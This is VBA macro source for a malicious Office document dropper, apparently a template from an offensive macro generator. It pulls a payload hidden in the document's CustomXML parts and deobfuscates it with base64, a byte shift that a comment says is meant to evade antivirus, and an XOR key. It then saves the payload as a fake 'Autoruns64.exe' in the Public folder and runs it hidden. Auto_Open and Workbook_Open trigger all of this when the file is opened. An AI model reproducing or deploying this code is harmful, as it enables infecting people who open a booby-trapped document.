' 
' Sub obf_SetCustomXMLPart(ByVal obf_Name As String, ByVal obf_Data As String)
'     On Error GoTo obf_ProcError
'     Dim obf_part
'     Dim obf_Data2
'     
'     obf_Data2 = "<" & obf_Name & ">" & obf_Data & "</" & obf_Name & ">"
'     
'     Set obf_part = obf_GetCustomXMLPart(obf_Name)
'     If obf_part Is Nothing Then
'         On Error Resume Next
'         Presentation.CustomXMLParts.Add (obf_Data2)
'         ActiveDocument.CustomXMLParts.Add (obf_Data2)
'         ThisWorkbook.CustomXMLParts.Add (obf_Data2)
'     Else
'         obf_part.DocumentElement.Text = obf_Data
'     End If
' obf_ProcError:
' End Sub


Private Function obf_XorCipher(ByRef obf_EncodedBytes() As Byte, ByVal obf_XorKey As Byte) As Byte()
    Dim obf_Temp() As Byte
    Dim obf_counter As Long

    ReDim obf_Temp(UBound(obf_EncodedBytes))
    For obf_counter = 0 To UBound(obf_EncodedBytes)
        obf_Temp(obf_counter) = obf_EncodedBytes(obf_counter) Xor obf_XorKey
    Next obf_counter
    obf_XorCipher = obf_Temp
End Function

Function obf_GetCustomXMLPart(ByVal obf_Name As String) As Object
    Dim obf_part
    Dim obf_parts
    
    On Error Resume Next
    Set obf_parts = Presentation.CustomXMLParts
    Set obf_parts = ActiveDocument.CustomXMLParts
    Set obf_parts = ThisWorkbook.CustomXMLParts
    
    For Each obf_part In obf_parts
        If obf_part.SelectSingleNode("/*").BaseName = obf_Name Then
            Set obf_GetCustomXMLPart = obf_part
            Exit Function
        End If
    Next
        
    Set obf_GetCustomXMLPart = Nothing
End Function

Private Function obf_DecodeBase64(ByVal obf_EncodedData As String) As Byte()
    On Error GoTo obf_ProcError
    Dim obf_XmlDom, obf_XmlNode, obf_Decoded, obf_Counter
    Set obf_XmlDom = CreateObject("new:2933BF90-7B36-11D2-B20E-00C04F983E60")
    Set obf_XmlNode = obf_XmlDom.createElement("obf_someInternalName")
    obf_XmlNode.DataType = "bin.base64"
    obf_XmlNode.Text = obf_EncodedData
    obf_Decoded = obf_XmlNode.NodeTypedValue

    ' This for-loop adjusts each byte by adding +35 to evade AVs capable of
    ' base64-decoding in-the-fly
    For obf_Counter = LBound(obf_Decoded) To UBound(obf_Decoded)
        obf_Decoded(obf_Counter) = (obf_Decoded(obf_Counter) + 35) Mod 256
    Next
    obf_DecodeBase64 = obf_Decoded
    Exit Function
obf_ProcError:
End Function

Sub obf_LaunchCommand(ByVal obf_command As String)
    On Error GoTo obf_ProcError
    With CreateObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
        .Run .ExpandEnvironmentStrings(obf_command), 0, False
    End With
obf_ProcError:
End Sub

Function obf_SaveToFile(ByVal obf_saveAs As String, ByRef obf_data() As Byte) As Boolean
    On Error GoTo obf_ProcError

    Dim obf_out
    Dim obf_shell: Set obf_shell = CreateObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_out = obf_shell.ExpandEnvironmentStrings(obf_saveAs)

    With CreateObject("new:00000566-0000-0010-8000-00AA006D2EA4")
        .Type = 1
        .Open
        .write obf_data
        .savetofile obf_out, 2
    End With
    obf_SaveToFile = True
    Exit Function

obf_ProcError:
    obf_SaveToFile = False
End Function

Private Function obf_DecodeBaseText64(ByVal obf_EncodedData As String) As String
    Dim obf_temp() As Byte
    obf_temp = obf_DecodeBase64(obf_EncodedData)
    obf_DecodeBaseText64 = StrConv(obf_temp, vbUnicode)
End Function

Function obf_GetCustomXMLPartTextSingle(ByVal obf_Name As String) As String
    Dim obf_part
    Dim obf_out, obf_m, obf_n
    
    Set obf_part = obf_GetCustomXMLPart(obf_Name)
    If obf_part Is Nothing Then
        obf_GetCustomXMLPartTextSingle = ""
    Else
        obf_out = obf_part.DocumentElement.Text
        obf_n = Len(obf_out) - 2 * Len(obf_Name) - 5
        obf_m = Len(obf_Name) + 3
        If Mid(obf_out, 1, 1) = "<" And Mid(obf_out, Len(obf_out), 1) = ">" And Mid(obf_out, obf_m - 1, 1) = ">" Then
            obf_out = Mid(obf_out, obf_m, obf_n)
        End If
        obf_GetCustomXMLPartTextSingle = obf_out
    End If
End Function

Function obf_GetCustomXMLPartText(ByVal obf_Name As String) As String
    On Error GoTo obf_ProcError

    Dim obf_tmp, obf_prefix, obf_j
    Dim obf_part
    obf_prefix = "__b_"
    obf_j = 0
    
    Set obf_part = obf_GetCustomXMLPart(obf_Name & "_" & obf_j)
    While Not obf_part Is Nothing
        obf_tmp = obf_tmp & obf_GetCustomXMLPartTextSingle(obf_Name & "_" & obf_j)
        obf_j = obf_j + 1
        Set obf_part = obf_GetCustomXMLPart(obf_Name & "_" & obf_j)
    Wend
    
    If Len(obf_tmp) = 0 Then
        obf_tmp = obf_GetCustomXMLPartTextSingle(obf_Name)
    End If
    
    If Mid(obf_tmp, 1, Len(obf_prefix)) = obf_prefix Then
        If Len(obf_tmp) = Len(obf_prefix) Then
            obf_GetCustomXMLPartText = ""
        Else
            obf_GetCustomXMLPartText = Mid(obf_tmp, Len(obf_prefix) + 1)
        End If
    Else
        obf_GetCustomXMLPartText = obf_tmp
    End If
    
obf_ProcError:
End Function

Public Function obf_GetCustomPart(ByVal obf_valueName As String) As String
    On Error GoTo obf_ProcError

    Dim obf_varA As String
    Dim obf_varB() As Byte
    obf_varA = obf_GetCustomXMLPartText(obf_valueName)

    obf_varB = obf_DecodeBase64(obf_varA)
    obf_varB = obf_XorCipher(obf_varB, &HB3)
    obf_varA = StrConv(obf_varB, vbUnicode)
    obf_GetCustomPart = obf_varA
    Exit Function

obf_ProcError:
	obf_GetCustomPart = ""
End Function

Function obf_ShellcodeEntry() As String
    obf_ShellcodeEntry = obf_GetCustomPart("jXVqTWo")
End Function

Sub obf_DropFile(ByVal obf_saveto As String)
    On Error GoTo obf_ProcError
    Dim obf_code
    Dim obf_bytes() As Byte
    Dim obf_LaunchIt As Boolean
    obf_LaunchIt = True
    
    obf_code = ""
    obf_code = obf_ShellcodeEntry

    obf_bytes = StrConv(obf_code, vbFromUnicode)
    
    If obf_SaveToFile(obf_saveto, obf_bytes) And obf_LaunchIt Then
        obf_LaunchCommand "%SystemDrive%\Users\Public\Autoruns64.exe"
    End If

obf_ProcError:
End Sub

Sub obf_GeneratorEntryPoint()
    On Error GoTo obf_ProcError

    Dim obf_location, obf_path
    Dim obf_LaunchIt As Boolean
    obf_LaunchIt = True
    
    Dim obf_shell As Object: Set obf_shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_path = obf_shell.ExpandEnvironmentStrings("%SystemDrive%\Users\Public\")
    obf_location = obf_path & "Autoruns64.exe"

    Dim obf_FSO As Object: Set obf_FSO = CreateObject("new:0D43FE01-F093-11CF-8940-00A0C9054228")
    If obf_FSO.FolderExists(obf_path) Then
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropFile obf_location
        ElseIf obf_LaunchIt Then
            obf_LaunchCommand "%SystemDrive%\Users\Public\Autoruns64.exe"
        End If
    Else
        obf_FSO.CreateFolder (obf_path)
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropFile obf_location
        ElseIf obf_LaunchIt Then
            obf_LaunchCommand "%SystemDrive%\Users\Public\Autoruns64.exe"
        End If
    End If

obf_ProcError:
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    obf_MacroEntryPoint
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    obf_MacroEntryPoint
End Sub